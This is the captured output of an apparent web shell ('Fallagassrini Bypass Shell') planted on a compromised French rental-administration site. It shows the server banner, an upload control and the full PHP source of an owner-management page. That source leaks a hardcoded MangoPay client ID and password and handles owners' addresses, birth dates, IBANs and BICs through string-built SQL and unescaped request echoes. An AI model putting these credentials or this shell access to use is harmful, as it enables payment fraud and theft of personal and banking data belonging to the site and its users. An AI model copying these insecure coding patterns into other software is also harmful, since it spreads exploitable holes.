Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home/happyrenas/old/happy-and-pay.fr/administration/templates/admin3/

Linux webd005.cluster105.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
Upload File :
Current File : /home/happyrenas/old/happy-and-pay.fr/administration/templates/admin3/proprio_ajout.php

<?
error_reporting(E_ALL);
ini_set('display_errors','On');
include("config.php");
$page="proprio_ajout.php";
////////////////////////////////////////////
////////////////////////////////////////////
require_once 'mangopay/vendor/autoload.php';
$MangopayApi = new \MangoPay\MangoPayApi();
$MangopayApi->Config->ClientId = 'philippe2015';
$MangopayApi->Config->ClientPassword = 'hK15oQKQig9N2UFEXQpCoirptU4VTeU28p0CTyiprt0fQuwFPP';
$MangopayApi->Config->TemporaryFolder = 'temp';
$MangopayApi->Config->BaseUrl = 'https://api.mangopay.com';
////////////////////////////////////////////
////////////////////////////////////////////

?>
<!DOCTYPE html>
<!--[if IE 8]> <html lang="en" class="ie8 no-js"> <![endif]-->
<!--[if IE 9]> <html lang="en" class="ie9 no-js"> <![endif]-->
<!--[if !IE]><!-->
<html lang="fr" class="no-js">
<!--<![endif]-->
<!-- BEGIN HEAD -->
<head>
<meta charset="utf-8"/>
<title>ADMINISTRATION HAPPY RENTALS</title>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta content="width=device-width, initial-scale=1" name="viewport"/>
<meta content="" name="description"/>
<meta content="" name="author"/>
<!-- BEGIN GLOBAL MANDATORY STYLES -->
<link href="http://fonts.googleapis.com/css?family=Open+Sans:400,300,600,700&subset=all" rel="stylesheet" type="text/css"/>
<link href="../../assets/global/plugins/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css"/>
<link href="../../assets/global/plugins/simple-line-icons/simple-line-icons.min.css" rel="stylesheet" type="text/css"/>
<link href="../../assets/global/plugins/bootstrap/css/bootstrap.min.css" rel="stylesheet" type="text/css"/>
<link href="../../assets/global/plugins/uniform/css/uniform.default.css" rel="stylesheet" type="text/css"/>
<link href="../../assets/global/plugins/bootstrap-switch/css/bootstrap-switch.min.css" rel="stylesheet" type="text/css"/>
<!-- END GLOBAL MANDATORY STYLES -->
<!-- BEGIN PAGE LEVEL PLUGIN STYLES -->
<link href="../../assets/global/plugins/bootstrap-daterangepicker/daterangepicker-bs3.css" rel="stylesheet" type="text/css"/>
<link href="../../assets/global/plugins/fullcalendar/fullcalendar.min.css" rel="stylesheet" type="text/css"/>
<link href="../../assets/global/plugins/jqvmap/jqvmap/jqvmap.css" rel="stylesheet" type="text/css"/>
<!-- END PAGE LEVEL PLUGIN STYLES -->
<!-- BEGIN PAGE STYLES -->
<link href="../../assets/admin/pages/css/tasks.css" rel="stylesheet" type="text/css"/>
<!-- END PAGE STYLES -->
<!-- BEGIN THEME STYLES -->
<link href="../../assets/global/css/components.css" rel="stylesheet" type="text/css"/>
<link href="../../assets/global/css/plugins.css" rel="stylesheet" type="text/css"/>
<link href="../../assets/admin/layout2/css/layout.css" rel="stylesheet" type="text/css"/>
<link href="../../assets/admin/layout2/css/themes/grey.css" rel="stylesheet" type="text/css" id="style_color"/>
<link href="../../assets/admin/layout2/css/custom.css" rel="stylesheet" type="text/css"/>
<!-- END THEME STYLES -->
<link rel="shortcut icon" href="favicon.ico"/>
</head>
<!-- END HEAD -->
<!-- BEGIN BODY -->
<!-- DOC: Apply "page-header-fixed-mobile" and "page-footer-fixed-mobile" class to body element to force fixed header or footer in mobile devices -->
<!-- DOC: Apply "page-sidebar-closed" class to the body and "page-sidebar-menu-closed" class to the sidebar menu element to hide the sidebar by default -->
<!-- DOC: Apply "page-sidebar-hide" class to the body to make the sidebar completely hidden on toggle -->
<!-- DOC: Apply "page-sidebar-closed-hide-logo" class to the body element to make the logo hidden on sidebar toggle -->
<!-- DOC: Apply "page-sidebar-hide" class to body element to completely hide the sidebar on sidebar toggle -->
<!-- DOC: Apply "page-sidebar-fixed" class to have fixed sidebar -->
<!-- DOC: Apply "page-footer-fixed" class to the body element to have fixed footer -->
<!-- DOC: Apply "page-sidebar-reversed" class to put the sidebar on the right side -->
<!-- DOC: Apply "page-full-width" class to the body element to have full width page without the sidebar menu -->
<body class="page-boxed page-header-fixed page-sidebar-closed-hide-logo page-container-bg-solid page-sidebar-closed-hide-logo">
<!-- BEGIN HEADER -->
<?include("header_top.php");?>
<!-- END HEADER -->
<div class="clearfix">
</div>
<!-- BEGIN CONTAINER -->
<div class="container">
	<div class="page-container">
		<!-- BEGIN SIDEBAR -->
		<div class="page-sidebar-wrapper">
			<!-- DOC: Set data-auto-scroll="false" to disable the sidebar from auto scrolling/focusing -->
			<!-- DOC: Change data-auto-speed="200" to adjust the sub menu slide up/down speed -->
			<div class="page-sidebar navbar-collapse collapse">
				<?include("header_left.php");?>
			</div>
		</div>
		<!-- END SIDEBAR -->
		<!-- BEGIN CONTENT -->
		<div class="page-content-wrapper">
			<div class="page-content">
			<?
			$reservation_id 										= $_REQUEST['reservation_id'];
			$proprietaire_mail	 									= $db->escape($_GET['proprietaire_mail']);
			if (!$proprietaire_mail) {$proprietaire_mail	 		= $db->escape($_POST['proprietaire_mail']);}

			$proprietaire_nom	 									= $db->escape($_POST['proprietaire_nom']);
			$proprietaire_prenom	 								= $db->escape($_POST['proprietaire_prenom']);
			$proprietaire_adresse	 								= $db->escape($_POST['proprietaire_adresse']);
			$proprietaire_cp	 									= $db->escape($_POST['proprietaire_cp']);
			$proprietaire_ville	 									= $db->escape($_POST['proprietaire_ville']);
			$proprietaire_pays	 									= $db->escape($_POST['proprietaire_pays']);
			$proprietaire_tel	 									= $db->escape($_POST['proprietaire_tel']);
			$proprietaire_nationalite	 							= $db->escape($_POST['proprietaire_nationalite']);
			$proprietaire_date_naissance	 						= $db->escape($_POST['proprietaire_date_naissance']);
			$proprietaire_date_naissance_timestamp					=	strtotime($proprietaire_date_naissance);
			if (!$proprietaire_date_naissance) {$proprietaire_date_naissance_timestamp	 		= "1466236787";}


			$proprietaire_iban	 									= $db->escape($_POST['proprietaire_iban']);
			$proprietaire_bic	 									= $db->escape($_POST['proprietaire_bic']);
			//$proprietaire_date_naissance_timestamp	 		= "1466236787";

			// MAJ PROPRIETAIRE
			if ($proprietaire_nom) 
			{
				// BASE DE DONNEE
				$myquery="select * from client_reservation_proprietaire where 1 AND proprietaire_mail = '$proprietaire_mail'";
				$proprietaire = $db->get_row($myquery);
				$proprietaire_id_unique=$proprietaire->id;
				$proprietaire_iban_old=$proprietaire->proprietaire_iban;
				$proprietaire_bic_old=$proprietaire->proprietaire_bic;

				$requete="UPDATE client_reservation_proprietaire set 
				proprietaire_nom			= '$proprietaire_nom',
				proprietaire_prenom			= '$proprietaire_prenom',
				proprietaire_adresse		= '$proprietaire_adresse',
				proprietaire_cp				= '$proprietaire_cp',
				proprietaire_ville			= '$proprietaire_ville',
				proprietaire_pays			= '$proprietaire_pays',
				proprietaire_tel			= '$proprietaire_tel',
				proprietaire_nationalite	= '$proprietaire_nationalite',
				proprietaire_date_naissance	= '$proprietaire_date_naissance',
				proprietaire_iban			= '$proprietaire_iban',
				proprietaire_bic			= '$proprietaire_bic'
				WHERE id=".$proprietaire_id_unique;
				$db->query($requete);
				echo "<div class='alert alert-info alert-dismissable'><button type='button' class='close' data-dismiss='alert' aria-hidden='true'></button>Base de donnée mise à jour</div>";
				$myquery="select * from client_reservation_proprietaire where 1 AND proprietaire_mail = '$proprietaire_mail'";
				$proprietaire = $db->get_row($myquery);

				if (!$proprietaire->proprietaire_id)
				{

				///////////////////////////////////////////
				//CREATE PROPRIETAIRE
				///////////////////////////////////////////
				
				$UserNatural = new MangoPay\UserNatural();
				$UserNatural->Tag = "";
				$UserNatural->FirstName = $proprietaire_nom;
				$UserNatural->LastName = $proprietaire_prenom;
				$UserNatural->Address = new MangoPay\Address();
				$UserNatural->Address->AddressLine1 = $proprietaire_adresse;
				$UserNatural->Address->AddressLine2 = "";
				$UserNatural->Address->City = $proprietaire_ville;
				$UserNatural->Address->Region = "";
				$UserNatural->Address->PostalCode = $proprietaire_cp;
				$UserNatural->Address->Country = $proprietaire_pays;
				$UserNatural->Birthday = $proprietaire_date_naissance_timestamp;
				$UserNatural->Nationality = $proprietaire_nationalite;
				$UserNatural->CountryOfResidence = $proprietaire_pays;
				$UserNatural->Occupation = "PROPRIETAIRE";
				$UserNatural->Email = $proprietaire_mail;
				$result = $MangopayApi->Users->Create($UserNatural);
				//echo "<pre>"; print_r($UserNatural);echo "</pre>";
				$requete="UPDATE client_reservation_proprietaire set proprietaire_id			= '$result->Id' WHERE id=".$proprietaire_id_unique;
				//echo $requete;
				$db->query($requete);
				echo "<div class='alert alert-info alert-dismissable'><button type='button' class='close' data-dismiss='alert' aria-hidden='true'></button>Propriétaire  ".$result->Id." crée dans MangoPay</div>";
				
				}
				else
				{
				echo "<div class='alert alert-info alert-dismissable'><button type='button' class='close' data-dismiss='alert' aria-hidden='true'></button>Propriétaire  ".$proprietaire->proprietaire_id." mis à jour dans MangoPay</div>";
				///////////////////////////////////////////
				//UPDATE PROPRIETAIRE
				///////////////////////////////////////////
				$UserNatural = new MangoPay\UserNatural();
				$UserNatural->Tag = "";
				$UserNatural->FirstName = $proprietaire_nom;
				$UserNatural->LastName = $proprietaire_prenom;
				$UserNatural->Address = new MangoPay\Address();
				$UserNatural->Address->AddressLine1 = $proprietaire_adresse;
				$UserNatural->Address->AddressLine2 = "";
				$UserNatural->Address->City = $proprietaire_ville;
				$UserNatural->Address->Region = "";
				$UserNatural->Address->PostalCode = $proprietaire_cp;
				$UserNatural->Address->Country = $proprietaire_pays;
				$UserNatural->Birthday = $proprietaire_date_naissance_timestamp;
				$UserNatural->Nationality = $proprietaire_nationalite;
				$UserNatural->CountryOfResidence = $proprietaire_pays;
				$UserNatural->Occupation = "PROPRIETAIRE";
				$UserNatural->Email = $proprietaire_mail;
				$UserNatural->Id = $proprietaire->proprietaire_id;
				$result = $MangopayApi->Users->Update($UserNatural);
				//echo "<pre>"; print_r($UserNatural);echo "</pre>";
				}
				
				if ($proprietaire_iban && $proprietaire_bic)
				{
				
				
				if ($proprietaire_iban!=$proprietaire_iban_old || $proprietaire_bic!=$proprietaire_bic_old)
				{
				///////////////////////////////////////////
				//CREATE ACCOUNT
				///////////////////////////////////////////

				try {
				$UserId = $proprietaire->proprietaire_id;
				$BankAccount = new \MangoPay\BankAccount();
				$BankAccount->Tag = "";
				$BankAccount->OwnerAddress = new \MangoPay\Address();
				$BankAccount->OwnerAddress->AddressLine1 = $proprietaire_adresse;
				$BankAccount->OwnerAddress->AddressLine2 = "";
				$BankAccount->OwnerAddress->City = $proprietaire_ville;
				$BankAccount->OwnerAddress->Region = "";
				$BankAccount->OwnerAddress->PostalCode = $proprietaire_cp;
				$BankAccount->OwnerAddress->Country = $proprietaire_pays;
				$BankAccount->OwnerName = $proprietaire_nom." ".$proprietaire_prenom;
				$BankAccount->Details = new MangoPay\BankAccountDetailsIBAN();
				$BankAccount->Details->IBAN = $proprietaire_iban;
				$BankAccount->Details->BIC = $proprietaire_bic;
				$Result = $MangopayApi->Users->CreateBankAccount($UserId, $BankAccount);
				echo "<div class='alert alert-info alert-dismissable'><button type='button' class='close' data-dismiss='alert' aria-hidden='true'></button>Compte bancaire crée ".$proprietaire_account_id." dans MangoPay</div>";
				$requete="UPDATE client_reservation_proprietaire set proprietaire_account_id	= '$proprietaire_account_id' WHERE id=".$proprietaire_id_unique;
				$db->query($requete);
				}
				catch(MangoPay\Libraries\ResponseException $e)
				{
				echo "<div class='alert alert-danger alert-dismissable'><button type='button' class='close' data-dismiss='alert' aria-hidden='true'></button>Compte bancaire invalide</div>";
				}
				catch(MangoPay\Libraries\Exception $e) {
				echo "<div class='alert alert-danger alert-dismissable'><button type='button' class='close' data-dismiss='alert' aria-hidden='true'></button>Compte bancaire invalide</div>";
				}
					
				}
				}
				
				
			}
			$myquery="select * from client_reservation_proprietaire where 1 AND proprietaire_mail = '$proprietaire_mail'";
			$proprietaire = $db->get_row($myquery);
			?>
			
				<!-- BEGIN SAMPLE PORTLET CONFIGURATION MODAL FORM-->
				
				<!-- /.modal -->
				<!-- END SAMPLE PORTLET CONFIGURATION MODAL FORM-->
				
				<!-- BEGIN PAGE HEADER-->
				<h3 class="page-title">
				Tableau de bord</h3>
				<div class="page-bar">
					<ul class="page-breadcrumb">
						<li>
							<i class="fa fa-home"></i>
							<a href="index.php">Accueil</a>
							<i class="fa fa-angle-right"></i>
						</li>
						<li>
							<a href="#">Tableau de bord</a>
						</li>
					</ul>
				</div>
				<!-- END PAGE HEADER-->
				
				
				<?// CLIENTS //?>
				<div class="row">
								<div class="col-md-12">
									<div class="portlet box blue-hoki">
										<div class="portlet-title">
											<div class="caption">
												<i class="fa fa-cogs"></i>Propriétaire
											</div>
											<div class="tools">
												<a href="javascript:;"  onclick='location.reload(true); return false;' class="reload">
												</a>
											</div>
										</div>
										<div class="portlet-body form">
											<form action="<?echo $_SERVER['PHP_SELF'];?>" method="POST" class="form-horizontal">
												<input type="hidden" name="proprietaire_mail" value="<?echo $proprietaire->proprietaire_mail;?>">
												<input type="hidden" name="reservation_id" value="<?echo $reservation_id;?>">
												<div class="form-body">
													<div class="form-group" >
														<label class="control-label col-md-3">Nom : </label>
														<div class="col-md-6">
															<input style="background:#ff6400;color:#fff;" value="<?echo $proprietaire->proprietaire_nom;?>" type="text" name="proprietaire_nom"  placeholder="" maxlength="100"   class="form-control  c-square c-theme  input-lg" required/>
														</div>
													</div>
													<div class="form-group">
														<label class="control-label col-md-3">Prénom : </label>
														<div class="col-md-6">
															<input  style="background:#ff6400;color:#fff;" value="<?echo $proprietaire->proprietaire_prenom;?>"  type="text" name="proprietaire_prenom" placeholder="" maxlength="100"  class="form-control  c-square c-theme input-lg" required/>
														</div>
													</div>
													<div class="form-group">
														<label class="control-label col-md-3">Adresse : </label>
														<div class="col-md-9">
														<input  style="background:#ff6400;color:#fff;" value="<?echo $proprietaire->proprietaire_adresse;?>" type="text" name="proprietaire_adresse" placeholder="" maxlength="100"  class="form-control  c-square c-theme input-lg" required />
														</div>
													</div>
													<div class="form-group">
														<label class="control-label col-md-3">Code postal : </label>
														<div class="col-md-3">
														<input  style="background:#ff6400;color:#fff;" value="<?echo $proprietaire->proprietaire_cp;?>" type="text" name="proprietaire_cp" placeholder="" maxlength="100"  class="form-control  c-square c-theme input-lg" required />
														</div>
													</div>
													<div class="form-group">
														<label class="control-label col-md-3">Ville : </label>
														<div class="col-md-6">
														<input  style="background:#ff6400;color:#fff;" value="<?echo $proprietaire->proprietaire_ville;?>" type="text" name="proprietaire_ville"  placeholder="" maxlength="100"  class="form-control  c-square c-theme input-lg" required />
														</div>
													</div>
													<div class="form-group">
														<label class="control-label col-md-3">Pays : </label>
														<div class="col-md-6">
														<select name="proprietaire_pays" class="form-control  c-square c-theme input-lg" >
														<?
														$myquery = "SELECT * from pays where 1 order by nom_fr_fr";
														$pays = $db->get_results($myquery);
														if (!empty($pays))
														{
														foreach ( $pays as $pays )
														{
														?>
														<option <?php if($pays->alpha2==$proprietaire->proprietaire_pays  || $pays->alpha2=="FR"){echo ' selected';}?>  value="<?echo $pays->alpha2;?>"><?echo $pays->nom_fr_fr;?></option>
														<?
														}
														}
														?>
														</select>
														</div>
													</div>
												
													<div class="form-group">
														<label class="control-label col-md-3">Email : </label>
														<div class="col-md-3">
															<input disabled readonly  style="background:#ff6400;color:#fff;"  value="<?echo $proprietaire->proprietaire_mail;?>" type="email"  placeholder="" maxlength="100" style="border-color:#D490AC;" class="form-control  c-square c-theme input-lg" required />
														</div>
													</div>
													<div class="form-group">
														<label class="control-label col-md-3">Téléphone : </label>
														<div class="col-md-3"><input value="<?echo $proprietaire->proprietaire_tel;?>" type="text" name="proprietaire_tel" placeholder="" maxlength="100"  class="form-control  c-square c-theme input-lg" /></div>
													</div>

													<div class="form-group">
														<label class="control-label col-md-3">Nationalité : </label>
														<div class="col-md-6">
														<select name="proprietaire_nationalite" class="form-control  c-square c-theme input-lg" >
														<?
														$myquery = "SELECT * from pays where 1 order by nom_fr_fr";
														$pays = $db->get_results($myquery);
														if (!empty($pays))
														{
														foreach ( $pays as $pays )
														{
														?>
														<option <?php if($pays->alpha2==$proprietaire->proprietaire_nationalite || $pays->alpha2=="FR"){echo ' selected';}?>  value="<?echo $pays->alpha2;?>"><?echo $pays->nom_fr_fr;?></option>
														<?
														}
														}
														?>
														</select>
														</div>
													</div>
													<div class="form-group">
														<label class="control-label col-md-3">Date de naissance : </label>
														<div class="col-md-3">
															<input  style="background:#ff6400;color:#fff;"  value="<?echo $proprietaire->proprietaire_date_naissance;?>" type="date" name="proprietaire_date_naissance"  placeholder="" maxlength="100" style="border-color:#D490AC;" class="form-control  c-square c-theme input-lg" required />
														</div>
													</div>
													
													<div class="form-group">
														<label class="control-label col-md-3">IBAN : </label>
														<div class="col-md-4"><input style="background:#40A497;color:#fff;"  value="<?echo $proprietaire->proprietaire_iban;?>" type="text" name="proprietaire_iban" placeholder="" maxlength="100"  class="form-control  c-square c-theme input-lg" /></div>
													</div>
													<div class="form-group">
														<label class="control-label col-md-3">BIC : </label>
														<div class="col-md-4"><input style="background:#40A497;color:#fff;"  value="<?echo $proprietaire->proprietaire_bic;?>" type="text" name="proprietaire_bic" placeholder="" maxlength="100"  class="form-control  c-square c-theme input-lg" /></div>
													</div>
													

													
													
													
													<div class="form-group">
														<div class="col-sm-offset-3 col-md-9">
														<button data-toggle="modal"  data-target="#identite" href="upload_file_modal.php?produit_id=<?echo $reservation_id;?>" type="button" class="btn green btn-primary btn-lg c-btn-uppercase">UPLOADER LA PIECE D'IDENTITE</button>
															<button type="submit" class="btn btn-primary btn-lg c-btn-uppercase">VALIDER LES MODIFICATIONS</button>
														</div>
													</div>
												</div>
											</form>
											<?//echo dirname(__FILE__);?>
											
											
											
											<div class="modal fade" id="identite" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true">
												 <div class="modal-dialog modal-full">
                                            <div class="modal-content">
                                                <div class="modal-header">
                                                    <button type="button" class="close" data-dismiss="modal" aria-hidden="true"></button>
                                                    <h4 class="modal-title">Modal Title</h4>
                                                </div>
                                                <div class="modal-body"> Modal body goes here </div>
                                                <div class="modal-footer">
                                                    <button type="button" class="btn dark btn-outline" data-dismiss="modal">Close</button>
                                                    <button type="button" class="btn green">Save changes</button>
                                                </div>
                                            </div>
                                            <!-- /.modal-content -->
                                        </div>
											</div>
										</div>
									</div>
								</div>
				</div>
				
		

				
				
				
				
				
				
<?include("footer.php");?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net